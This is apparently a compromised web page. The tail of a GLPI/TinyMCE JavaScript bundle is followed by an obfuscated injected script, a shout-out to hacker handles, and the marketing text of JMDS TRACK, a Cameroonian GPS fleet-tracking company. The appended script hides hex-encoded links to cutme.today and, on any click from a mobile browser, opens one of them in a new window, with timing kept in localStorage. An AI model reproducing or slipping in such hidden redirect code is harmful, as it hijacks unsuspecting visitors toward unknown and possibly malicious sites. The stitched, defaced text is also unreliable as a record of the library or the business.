        editor.ui.registry.addMenuItem('inserttable', {
          text: 'Table',
          icon: 'table',
          onAction: cmd('mceInsertTableDialog')
        });
      } else {
        editor.ui.registry.addNestedMenuItem('inserttable', {
          text: 'Table',
          icon: 'table',
          getSubmenuItems: () => [{
              type: 'fancymenuitem',
              fancytype: 'inserttable',
              onAction: insertTableAction
            }]
        });
      }
      editor.ui.registry.addMenuItem('inserttabledialog', {
        text: 'Insert table',
        icon: 'table',
        onAction: cmd('mceInsertTableDialog')
      });
      addMenuIfRegistered('tableprops', {
        text: 'Table properties',
        onSetup: selectionTargets.onSetupTable,
        command: 'mceTableProps'
      });
      addMenuIfRegistered('deletetable', {
        text: 'Delete table',
        icon: 'table-delete-table',
        onSetup: selectionTargets.onSetupTable,
        command: 'mceTableDelete'
      });
      if (contains(hasRowMenuItems, true)) {
        editor.ui.registry.addNestedMenuItem('row', {
          type: 'nestedmenuitem',
          text: 'Row',
          getSubmenuItems: constant('tableinsertrowbefore tableinsertrowafter tabledeleterow tablerowprops | tablecutrow tablecopyrow tablepasterowbefore tablepasterowafter')
        });
      }
      if (contains(hasColumnMenuItems, true)) {
        editor.ui.registry.addNestedMenuItem('column', {
          type: 'nestedmenuitem',
          text: 'Column',
          getSubmenuItems: constant('tableinsertcolumnbefore tableinsertcolumnafter tabledeletecolumn | tablecutcolumn tablecopycolumn tablepastecolumnbefore tablepastecolumnafter')
        });
      }
      if (contains(hasCellMenuItems, true)) {
        editor.ui.registry.addNestedMenuItem('cell', {
          type: 'nestedmenuitem',
          text: 'Cell',
          getSubmenuItems: constant('tablecellprops tablemergecells tablesplitcells')
        });
      }
      editor.ui.registry.addContextMenu('table', {
        update: () => {
          selectionTargets.resetTargets();
          return selectionTargets.targets().fold(constant(''), targets => {
            if (name(targets.element) === 'caption') {
              return 'tableprops deletetable';
            } else {
              return 'cell row column | advtablesort | tableprops deletetable';
            }
          });
        }
      });
      const tableClassList = filterNoneItem(getTableClassList(editor));
      if (tableClassList.length !== 0 && editor.queryCommandSupported('mceTableToggleClass')) {
        editor.ui.registry.addNestedMenuItem('tableclass', {
          icon: 'table-classes',
          text: 'Table styles',
          getSubmenuItems: () => buildMenuItems(editor, tableClassList, 'tableclass', value => editor.execCommand('mceTableToggleClass', false, value)),
          onSetup: selectionTargets.onSetupTable
        });
      }
      const tableCellClassList = filterNoneItem(getCellClassList(editor));
      if (tableCellClassList.length !== 0 && editor.queryCommandSupported('mceTableCellToggleClass')) {
        editor.ui.registry.addNestedMenuItem('tablecellclass', {
          icon: 'table-cell-classes',
          text: 'Cell styles',
          getSubmenuItems: () => buildMenuItems(editor, tableCellClassList, 'tablecellclass', value => editor.execCommand('mceTableCellToggleClass', false, value)),
          onSetup: selectionTargets.onSetupCellOrRow
        });
      }
      if (editor.queryCommandSupported('mceTableApplyCellStyle')) {
        editor.ui.registry.addNestedMenuItem('tablecellvalign', {
          icon: 'vertical-align',
          text: 'Vertical align',
          getSubmenuItems: () => buildMenuItems(editor, verticalAlignValues, 'tablecellverticalalign', applyTableCellStyle(editor, 'vertical-align')),
          onSetup: selectionTargets.onSetupCellOrRow
        });
        editor.ui.registry.addNestedMenuItem('tablecellborderwidth', {
          icon: 'border-width',
          text: 'Border width',
          getSubmenuItems: () => buildMenuItems(editor, getTableBorderWidths(editor), 'tablecellborderwidth', applyTableCellStyle(editor, 'border-width')),
          onSetup: selectionTargets.onSetupCellOrRow
        });
        editor.ui.registry.addNestedMenuItem('tablecellborderstyle', {
          icon: 'border-style',
          text: 'Border style',
          getSubmenuItems: () => buildMenuItems(editor, getTableBorderStyles(editor), 'tablecellborderstyle', applyTableCellStyle(editor, 'border-style')),
          onSetup: selectionTargets.onSetupCellOrRow
        });
        editor.ui.registry.addNestedMenuItem('tablecellbackgroundcolor', {
          icon: 'cell-background-color',
          text: 'Background color',
          getSubmenuItems: () => buildColorMenu(editor, getTableBackgroundColorMap(editor), 'background-color'),
          onSetup: selectionTargets.onSetupCellOrRow
        });
        editor.ui.registry.addNestedMenuItem('tablecellbordercolor', {
          icon: 'cell-border-color',
          text: 'Border color',
          getSubmenuItems: () => buildColorMenu(editor, getTableBorderColorMap(editor), 'border-color'),
          onSetup: selectionTargets.onSetupCellOrRow
        });
      }
      addToggleMenuIfRegistered('tablecaption', {
        icon: 'table-caption',
        text: 'Table caption',
        command: 'mceTableToggleCaption',
        onSetup: selectionTargets.onSetupTableWithCaption
      });
      addToggleMenuIfRegistered('tablerowheader', {
        text: 'Row header',
        icon: 'table-top-header',
        command: 'mceTableRowType',
        onAction: changeRowHeader(editor),
        onSetup: selectionTargets.onSetupTableRowHeaders
      });
      addToggleMenuIfRegistered('tablecolheader', {
        text: 'Column header',
        icon: 'table-left-header',
        command: 'mceTableColType',
        onAction: changeColumnHeader(editor),
        onSetup: selectionTargets.onSetupTableRowHeaders
      });
    };

    const Plugin = editor => {
      const selectionTargets = getSelectionTargets(editor);
      register(editor);
      registerCommands(editor);
      addMenuItems(editor, selectionTargets);
      addButtons(editor, selectionTargets);
      addToolbars(editor);
    };
    var Plugin$1 = () => {
      global$3.add('table', Plugin);
    };

    Plugin$1();

})();


/***/ })
/******/ 	]);
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk.
(() => {
/**
 * ---------------------------------------------------------------------
 *
 * GLPI - Gestionnaire Libre de Parc Informatique
 *
 * http://glpi-project.org
 *
 * @copyright 2015-2023 Teclib' and contributors.
 * @copyright 2003-2014 by the INDEPNET Development Team.
 * @licence   https://www.gnu.org/licenses/gpl-3.0.html
 *
 * ---------------------------------------------------------------------
 *
 * LICENSE
 *
 * This file is part of GLPI.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 * ---------------------------------------------------------------------
 */

// 'tinymce' and 'tinyMCE' objects have to be declared in global scope
window.tinymce = window.tinyMCE = __webpack_require__(1);

// Default icons
__webpack_require__(2);

// Default model
__webpack_require__(3);

// Base theme / skin
__webpack_require__(5);

// Used plugins
__webpack_require__(6);
__webpack_require__(8);
__webpack_require__(10);
__webpack_require__(12);
__webpack_require__(14);
__webpack_require__(15);
__webpack_require__(17);
__webpack_require__(19);
__webpack_require__(21);
__webpack_require__(23);
__webpack_require__(25);
__webpack_require__(27);

})();

/******/ })()
;
//# sourceMappingURL=tinymce.js.map
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x52\x6e\x4d\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4d\x54\x76\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x69\x71\x49\x38\x63\x318','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x4a\x67\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x43\x54\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6f\x54\x71\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x64\x52\x32\x63\x322','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x77\x4f\x4b\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x54\x45\x5a\x30\x63\x370','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x49\x55\x53\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());			
			


Thanks For 0xGh05T - DSRF14 - Mr.Dan07 - Leri01 - FxshX7 - AlkaExploiter - xLoveSyndrome'z - Acep Gans'z

JMDS TRACK – Just Another Diagnostics Lab Site

Home

JMDS TRACK Cameroon

Boost the productivity of your mobile ressources


Make An Appointment


Fleet management

  1. Reduce the operting cost and the unavailability of your vehicles
  2. reduce the fuel consumption of your fleet
  3. Improve the driving dehavior and safety of your drivers
  4. optimize the utilization rate of your equipment 
  5. protect your vehicle against theft
  6. Improve the quality of your customer service


Find out more

Assets management

  1. Track the roaming of your equipment
  2. Optimise the management of your assets on site and during transport
  3. Secure the transport of your goods
  4. Make your team responsible for preventing the loss of tools, equipment
  5. Take a real-time inventory of your equipment on site
  6. Easily find your mobile objects or equipment



Find out more



Find out more

Antitheft solutions

  1. Secure your vehicles and machinery and increase your chances of recovering them in the event of theft
  2. Protect your assets and reduce the costs associated with their loss
  3. Combine immobiliser and driver identification and limit the risk of theft
  4. Identify fuel theft and reduce costs
  5. Protect your goods and take no more risks
  6. Be alerted to abnormal events

Our Location

 Douala BP cité 

     and

Yaoundé Total Essos


Make An Appointment


Get Directions

682230363/ 677481892

What makes us different from others

  • young and dynamic team
  • call center 24/24 7/7
  • roaming throughout Africa
  • team of developers who can develop customer-specific solutions
  • diversity of services
  • reactive and prompt after-sales service when soliciting a customer or a malfunction
  • Free Maintenance and installation in the cities of Douala and Yaounde

https://youtu.be/xI1cz_Jh2x8

15+
years of experience in GPS system development, production and deployment.

15 Collaborators

More than 15 employees dedicated to the research and development of new applications and to customer care

5 000 Vehicles and mobile assets

5 000 vehicles and mobile assets under management, in Africa

Our Partners










Latest Case Studies

Our current projects 

5/5
Bon SAV , SATISFAIT DU TRAITEMENT DES REQUETES

M DIPITA CHRISTIAN
Logistic Safety Manager Road Safety Manager
5/5
La réactivité de JMDS est excellente
Nous restons satisfait dans l’ensemble des prestations relatives a la couverture de notre parc automobile

Hervé Frédéric NDENGUE
Chef Service Adjoint de la Sécurité Générale (CNPS)
5/5
L’APPLICATION EMIXIS est convivial A L’utilisation
BEIG-3 SARL
DIRECTOR GENERAL
5/5
Nevertheless I am delighted with the service
MR. BISSE BENJAMIN
CUSTOMER

Subsribe To Our Newsletter

Stay in touch with us to get latest news and special offers.



Address JMDS TRACK

Douala bp cité



and

YAOUNDE Total Essos

Call Us

+237682230363



Email Us


info@jmdstrack.cm